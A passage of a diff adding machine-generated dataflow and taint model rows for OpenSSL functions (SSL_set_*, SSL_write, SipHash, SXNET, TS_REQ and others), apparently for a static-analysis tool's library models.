True, "SSL_set_hostflags", "(SSL *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*hostflags]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_info_callback", "(SSL *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*info_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_max_early_data", "(SSL *,uint32_t)", "", "Argument[1]", "Argument[*0].Field[*max_early_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_num_tickets", "(SSL *,size_t)", "", "Argument[1]", "Argument[*0].Field[*num_tickets]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_options", "(SSL *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*options]", "taint", "dfc-generated"] + - ["", "", True, "SSL_set_options", "(SSL *,uint64_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_set_post_handshake_auth", "(SSL *,int)", "", "Argument[1]", "Argument[*0].Field[*pha_enabled]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_psk_client_callback", "(SSL *,SSL_psk_client_cb_func)", "", "Argument[1]", "Argument[*0].Field[*psk_client_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_psk_find_session_callback", "(SSL *,SSL_psk_find_session_cb_func)", "", "Argument[1]", "Argument[*0].Field[*psk_find_session_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_psk_server_callback", "(SSL *,SSL_psk_server_cb_func)", "", "Argument[1]", "Argument[*0].Field[*psk_server_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_psk_use_session_callback", "(SSL *,SSL_psk_use_session_cb_func)", "", "Argument[1]", "Argument[*0].Field[*psk_use_session_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_purpose", "(SSL *,int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*purpose]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_quic_tls_cbs", "(SSL *,const OSSL_DISPATCH *,void *)", "", "Argument[**2]", "Argument[*0].Field[***qtarg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_quic_tls_cbs", "(SSL *,const OSSL_DISPATCH *,void *)", "", "Argument[*2]", "Argument[*0].Field[**qtarg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_quic_tls_cbs", "(SSL *,const OSSL_DISPATCH *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_set_quic_tls_cbs", "(SSL *,const OSSL_DISPATCH *,void *)", "", "Argument[2]", "Argument[*0].Field[*qtarg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_quic_tls_early_data_enabled", "(SSL *,int)", "", "Argument[*0].Field[**tls].Field[**qtls]", "Argument[*0].Field[**qtls]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_quic_tls_transport_params", "(SSL *,const unsigned char *,size_t)", "", "Argument[*0].Field[**tls].Field[**qtls]", "Argument[*0].Field[**qtls]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_quic_tls_transport_params", "(SSL *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**qtls].Field[**local_transport_params]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_quic_tls_transport_params", "(SSL *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**qtls].Field[*local_transport_params]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_quic_tls_transport_params", "(SSL *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[**qtls].Field[*local_transport_params_len]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_quiet_shutdown", "(SSL *,int)", "", "Argument[1]", "Argument[*0].Field[*quiet_shutdown]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_read_ahead", "(SSL *,int)", "", "Argument[1]", "Argument[*0].Field[*rlayer].Field[*read_ahead]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_record_padding_callback", "(SSL *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*rlayer].Field[*record_padding_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_record_padding_callback_arg", "(SSL *,void *)", "", "Argument[**1]", "Argument[*0].Field[*rlayer].Field[***record_padding_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_record_padding_callback_arg", "(SSL *,void *)", "", "Argument[*1]", "Argument[*0].Field[*rlayer].Field[**record_padding_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_record_padding_callback_arg", "(SSL *,void *)", "", "Argument[1]", "Argument[*0].Field[*rlayer].Field[*record_padding_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_recv_max_early_data", "(SSL *,uint32_t)", "", "Argument[1]", "Argument[*0].Field[*recv_max_early_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_security_callback", "(SSL *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[**cert].Field[*sec_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_security_level", "(SSL *,int)", "", "Argument[1]", "Argument[*0].Field[**cert].Field[*sec_level]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_session", "(SSL *,SSL_SESSION *)", "", "Argument[1]", "Argument[*0].Field[*session]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_session_id_context", "(SSL *,const unsigned char *,unsigned int)", "", "Argument[*1]", "Argument[*0].Field[*sid_ctx]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_session_id_context", "(SSL *,const unsigned char *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*sid_ctx]", "taint", "dfc-generated"] + - ["", "", True, "SSL_set_session_id_context", "(SSL *,const unsigned char *,unsigned int)", "", "Argument[2]", "Argument[*0].Field[*sid_ctx_length]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_session_secret_cb", "(SSL *,tls_session_secret_cb_fn,void *)", "", "Argument[**2]", "Argument[*0].Field[*ext].Field[***session_secret_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_session_secret_cb", "(SSL *,tls_session_secret_cb_fn,void *)", "", "Argument[*2]", "Argument[*0].Field[*ext].Field[**session_secret_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_session_secret_cb", "(SSL *,tls_session_secret_cb_fn,void *)", "", "Argument[1]", "Argument[*0].Field[*ext].Field[*session_secret_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_session_secret_cb", "(SSL *,tls_session_secret_cb_fn,void *)", "", "Argument[2]", "Argument[*0].Field[*ext].Field[*session_secret_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_session_ticket_ext", "(SSL *,void *,int)", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_session_ticket_ext", "(SSL *,void *,int)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_set_session_ticket_ext_cb", "(SSL *,tls_session_ticket_ext_cb_fn,void *)", "", "Argument[**2]", "Argument[*0].Field[*ext].Field[***session_ticket_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_session_ticket_ext_cb", "(SSL *,tls_session_ticket_ext_cb_fn,void *)", "", "Argument[*2]", "Argument[*0].Field[*ext].Field[**session_ticket_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_session_ticket_ext_cb", "(SSL *,tls_session_ticket_ext_cb_fn,void *)", "", "Argument[1]", "Argument[*0].Field[*ext].Field[*session_ticket_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_session_ticket_ext_cb", "(SSL *,tls_session_ticket_ext_cb_fn,void *)", "", "Argument[2]", "Argument[*0].Field[*ext].Field[*session_ticket_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_shutdown", "(SSL *,int)", "", "Argument[1]", "Argument[*0].Field[*shutdown]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_srp_server_param", "(SSL *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,char *)", "", "Argument[*5]", "Argument[*0].Field[*srp_ctx].Field[**info]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_srp_server_param", "(SSL *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,char *)", "", "Argument[5]", "Argument[*0].Field[*srp_ctx].Field[**info]", "taint", "dfc-generated"] + - ["", "", True, "SSL_set_ssl_method", "(SSL *,const SSL_METHOD *)", "", "Argument[1]", "Argument[*0].Field[*method]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_tlsext_max_fragment_length", "(SSL *,uint8_t)", "", "Argument[1]", "Argument[*0].Field[*ext].Field[*max_fragment_len_mode]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_trust", "(SSL *,int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*trust]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_verify", "(SSL *,int,..(*)(..),SSL_verify_cb)", "", "Argument[1]", "Argument[*0].Field[*verify_mode]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_verify", "(SSL *,int,..(*)(..),SSL_verify_cb)", "", "Argument[2]", "Argument[*0].Field[*verify_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_verify_depth", "(SSL *,int)", "", "Argument[*0].Field[**tls].Field[**param]", "Argument[*0].Field[**param]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_verify_depth", "(SSL *,int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*depth]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_verify_result", "(SSL *,long)", "", "Argument[1]", "Argument[*0].Field[*verify_result]", "value", "dfc-generated"] + - ["", "", True, "SSL_shutdown", "(SSL *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_shutdown_ex", "(SSL *,uint64_t,const SSL_SHUTDOWN_EX_ARGS *,size_t)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_state_string", "(const SSL *)", "", "Argument[*0].Field[**tls]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "SSL_state_string_long", "(const SSL *)", "", "Argument[*0].Field[**tls]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "SSL_stateless", "(SSL *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_trace", "(int,int,int,const void *,size_t,SSL *,void *)", "", "Argument[6]", "Argument[*6].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "SSL_use_PrivateKey_ASN1", "(int,SSL *,const unsigned char *,long)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_use_PrivateKey_ASN1", "(int,SSL *,const unsigned char *,long)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_use_RSAPrivateKey_ASN1", "(SSL *,const unsigned char *,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_use_RSAPrivateKey_ASN1", "(SSL *,const unsigned char *,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_use_cert_and_key", "(SSL *,X509 *,EVP_PKEY *,stack_st_X509 *,int)", "", "Argument[*0].Field[**tls]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "SSL_use_cert_and_key", "(SSL *,X509 *,EVP_PKEY *,stack_st_X509 *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SSL_use_cert_and_key", "(SSL *,X509 *,EVP_PKEY *,stack_st_X509 *,int)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "SSL_use_cert_and_key", "(SSL *,X509 *,EVP_PKEY *,stack_st_X509 *,int)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "SSL_use_certificate", "(SSL *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SSL_use_certificate_ASN1", "(SSL *,const unsigned char *,int)", "", "Argument[*1]", "Argument[1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_use_certificate_ASN1", "(SSL *,const unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_use_certificate_ASN1", "(SSL *,const unsigned char *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_use_certificate_ASN1", "(SSL *,const unsigned char *,int)", "", "Argument[2]", "Argument[1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_use_psk_identity_hint", "(SSL *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**cert].Field[**psk_identity_hint]", "value", "dfc-generated"] + - ["", "", True, "SSL_use_psk_identity_hint", "(SSL *,const char *)", "", "Argument[1]", "Argument[*0].Field[**cert].Field[**psk_identity_hint]", "taint", "dfc-generated"] + - ["", "", True, "SSL_verify_client_post_handshake", "(SSL *)", "", "Argument[*0].Field[**tls]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "SSL_version", "(const SSL *)", "", "Argument[*0].Field[**tls].Field[*version]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_version", "(const SSL *)", "", "Argument[*0].Field[*version]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_want", "(const SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_write", "(SSL *,const void *,int)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_write", "(SSL *,const void *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_write_early_data", "(SSL *,const void *,size_t,size_t *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_write_early_data", "(SSL *,const void *,size_t,size_t *)", "", "Argument[2]", "Argument[*3]", "value", "dfc-generated"] + - ["", "", True, "SSL_write_early_data", "(SSL *,const void *,size_t,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "SSL_write_ex2", "(SSL *,const void *,size_t,uint64_t,size_t *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_write_ex2", "(SSL *,const void *,size_t,uint64_t,size_t *)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SSL_write_ex2", "(SSL *,const void *,size_t,uint64_t,size_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SSL_write_ex", "(SSL *,const void *,size_t,size_t *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_write_ex", "(SSL *,const void *,size_t,size_t *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "SSL_write_ex", "(SSL *,const void *,size_t,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "STACK_OF_X509_cmp", "(const stack_st_X509 *,const stack_st_X509 *)", "", "Argument[*0].Field[*num]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "STACK_OF_X509_cmp", "(const stack_st_X509 *,const stack_st_X509 *)", "", "Argument[*1].Field[*num]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "STACK_OF_X509_push1", "(stack_st_X509 *,X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "STACK_OF_X509_push1", "(stack_st_X509 *,X509 *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "STACK_OF_X509_push1", "(stack_st_X509 *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "STACK_OF_X509_push1", "(stack_st_X509 *,X509 *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "STACK_OF_X509_push1", "(stack_st_X509 *,X509 *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "SXNETID_free", "(SXNETID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "SXNETID_free", "(SXNETID *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "SXNET_add_id_INTEGER", "(SXNET **,ASN1_INTEGER *,const char *,int)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "SXNET_add_id_INTEGER", "(SXNET **,ASN1_INTEGER *,const char *,int)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "SXNET_add_id_INTEGER", "(SXNET **,ASN1_INTEGER *,const char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SXNET_add_id_asc", "(SXNET **,const char *,const char *,int)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "SXNET_add_id_asc", "(SXNET **,const char *,const char *,int)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "SXNET_add_id_asc", "(SXNET **,const char *,const char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SXNET_add_id_ulong", "(SXNET **,unsigned long,const char *,int)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "SXNET_add_id_ulong", "(SXNET **,unsigned long,const char *,int)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "SXNET_add_id_ulong", "(SXNET **,unsigned long,const char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SXNET_free", "(SXNET *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "SXNET_free", "(SXNET *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "SipHash_Final", "(SIPHASH *,unsigned char *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SipHash_Init", "(SIPHASH *,const unsigned char *,int,int)", "", "Argument[2]", "Argument[*0].Field[*crounds]", "value", "dfc-generated"] + - ["", "", True, "SipHash_Init", "(SIPHASH *,const unsigned char *,int,int)", "", "Argument[3]", "Argument[*0].Field[*drounds]", "value", "dfc-generated"] + - ["", "", True, "SipHash_Update", "(SIPHASH *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*leavings]", "taint", "dfc-generated"] + - ["", "", True, "SipHash_Update", "(SIPHASH *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*len]", "taint", "dfc-generated"] + - ["", "", True, "SipHash_Update", "(SIPHASH *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*total_inlen]", "taint", "dfc-generated"] + - ["", "", True, "SipHash_hash_size", "(SIPHASH *)", "", "Argument[*0].Field[*hash_size]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SipHash_set_hash_size", "(SIPHASH *,size_t)", "", "Argument[1]", "Argument[*0].Field[*hash_size]", "value", "dfc-generated"] + - ["", "", True, "TLS_FEATURE_free", "(TLS_FEATURE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "TLS_FEATURE_free", "(TLS_FEATURE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "TS_ACCURACY_dup", "(const TS_ACCURACY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "TS_ACCURACY_dup", "(const TS_ACCURACY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_ACCURACY_dup", "(const TS_ACCURACY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "TS_ACCURACY_dup", "(const TS_ACCURACY *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_ACCURACY_dup", "(const TS_ACCURACY *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "TS_ACCURACY_free", "(TS_ACCURACY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "TS_ACCURACY_free", "(TS_ACCURACY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "TS_ACCURACY_get_micros", "(const TS_ACCURACY *)", "", "Argument[*0].Field[**micros]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_ACCURACY_get_micros", "(const TS_ACCURACY *)", "", "Argument[*0].Field[*micros]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_ACCURACY_get_millis", "(const TS_ACCURACY *)", "", "Argument[*0].Field[**millis]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_ACCURACY_get_millis", "(const TS_ACCURACY *)", "", "Argument[*0].Field[*millis]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_ACCURACY_get_seconds", "(const TS_ACCURACY *)", "", "Argument[*0].Field[**seconds]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_ACCURACY_get_seconds", "(const TS_ACCURACY *)", "", "Argument[*0].Field[*seconds]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_ACCURACY_set_micros", "(TS_ACCURACY *,const ASN1_INTEGER *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_ACCURACY_set_millis", "(TS_ACCURACY *,const ASN1_INTEGER *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_ACCURACY_set_seconds", "(TS_ACCURACY *,const ASN1_INTEGER *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_CONF_get_tsa_section", "(CONF *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_CONF_get_tsa_section", "(CONF *,const char *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_CONF_set_serial", "(CONF *,const char *,TS_serial_cb,TS_RESP_CTX *)", "", "Argument[2]", "Argument[*3].Field[*serial_cb]", "value", "dfc-generated"] + - ["", "", True, "TS_MSG_IMPRINT_dup", "(const TS_MSG_IMPRINT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "TS_MSG_IMPRINT_dup", "(const TS_MSG_IMPRINT *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_MSG_IMPRINT_dup", "(const TS_MSG_IMPRINT *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "TS_MSG_IMPRINT_dup", "(const TS_MSG_IMPRINT *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_MSG_IMPRINT_dup", "(const TS_MSG_IMPRINT *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "TS_MSG_IMPRINT_free", "(TS_MSG_IMPRINT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "TS_MSG_IMPRINT_free", "(TS_MSG_IMPRINT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "TS_MSG_IMPRINT_get_algo", "(TS_MSG_IMPRINT *)", "", "Argument[*0].Field[**hash_algo]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_MSG_IMPRINT_get_algo", "(TS_MSG_IMPRINT *)", "", "Argument[*0].Field[*hash_algo]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_MSG_IMPRINT_get_msg", "(TS_MSG_IMPRINT *)", "", "Argument[*0].Field[**hashed_msg]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_MSG_IMPRINT_get_msg", "(TS_MSG_IMPRINT *)", "", "Argument[*0].Field[*hashed_msg]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_MSG_IMPRINT_set_algo", "(TS_MSG_IMPRINT *,X509_ALGOR *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_MSG_IMPRINT_set_algo", "(TS_MSG_IMPRINT *,X509_ALGOR *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "TS_MSG_IMPRINT_set_algo", "(TS_MSG_IMPRINT *,X509_ALGOR *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_MSG_IMPRINT_set_msg", "(TS_MSG_IMPRINT *,unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[**hashed_msg].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "TS_MSG_IMPRINT_set_msg", "(TS_MSG_IMPRINT *,unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[**hashed_msg].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "TS_MSG_IMPRINT_set_msg", "(TS_MSG_IMPRINT *,unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[**hashed_msg].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "TS_REQ_add_ext", "(TS_REQ *,X509_EXTENSION *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "TS_REQ_add_ext", "(TS_REQ *,X509_EXTENSION *,int)", "", "Argument[2]", "Argument[*0].Field[**extensions].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "TS_REQ_add_ext", "(TS_REQ *,X509_EXTENSION *,int)", "", "Argument[2]", "Argument[*0].Field[**extensions].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "TS_REQ_delete_ext", "(TS_REQ *,int)", "", "Argument[1]", "Argument[*0].Field[**extensions].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "TS_REQ_delete_ext", "(TS_REQ *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "TS_REQ_delete_ext", "(TS_REQ *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "TS_REQ_dup", "(const TS_REQ *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "TS_REQ_dup", "(const TS_REQ *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_REQ_dup", "(const TS_REQ *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "TS_REQ_dup", "(const TS_REQ *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_REQ_dup", "(const TS_REQ *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "TS_REQ_free", "(TS_REQ *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "TS_REQ_free", "(TS_REQ *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "TS_REQ_get_ext", "(TS_REQ *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "TS_REQ_get_ext_by_NID", "(TS_REQ *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "TS_REQ_get_ext_by_OBJ", "(TS_REQ *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "TS_REQ_get_ext_by_critical", "(TS_REQ *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "TS_REQ_get_ext_count", "(TS_REQ *)", "", "Argument[*0].Field[**extensions].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_REQ_get_ext_d2i", "(TS_REQ *,int,int *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "TS_REQ_get_exts", "(TS_REQ *)", "", "Argument[*0].Field[**extensions]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_REQ_get_exts", "(TS_REQ *)", "", "Argument[*0].Field[*extensions]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_REQ_get_msg_imprint", "(TS_REQ *)", "", "Argument[*0].Field[**msg_imprint]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_REQ_get_msg_imprint", "(TS_REQ *)", "", "Argument[*0].Field[*msg_imprint]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_REQ_get_nonce", "(const TS_REQ *)", "", "Argument[*0].Field[**nonce]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_REQ_get_nonce", "(const TS_REQ *)", "", "Argument[*0].Field[*nonce]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_REQ_get_policy_id", "(TS_REQ *)", "", "Argument[*0].Field[**policy_id]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_REQ_get_policy_id", "(TS_REQ *)", "", "Argument[*0].Field[*policy_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_REQ_get_version", "(const TS_REQ *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_REQ_print_bio", "(BIO *,TS_REQ *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "TS_REQ_set_msg_imprint", "(TS_REQ *,TS_MSG_IMPRINT *)", "", "Argument[*1]", "Argument[*0]", "taint", 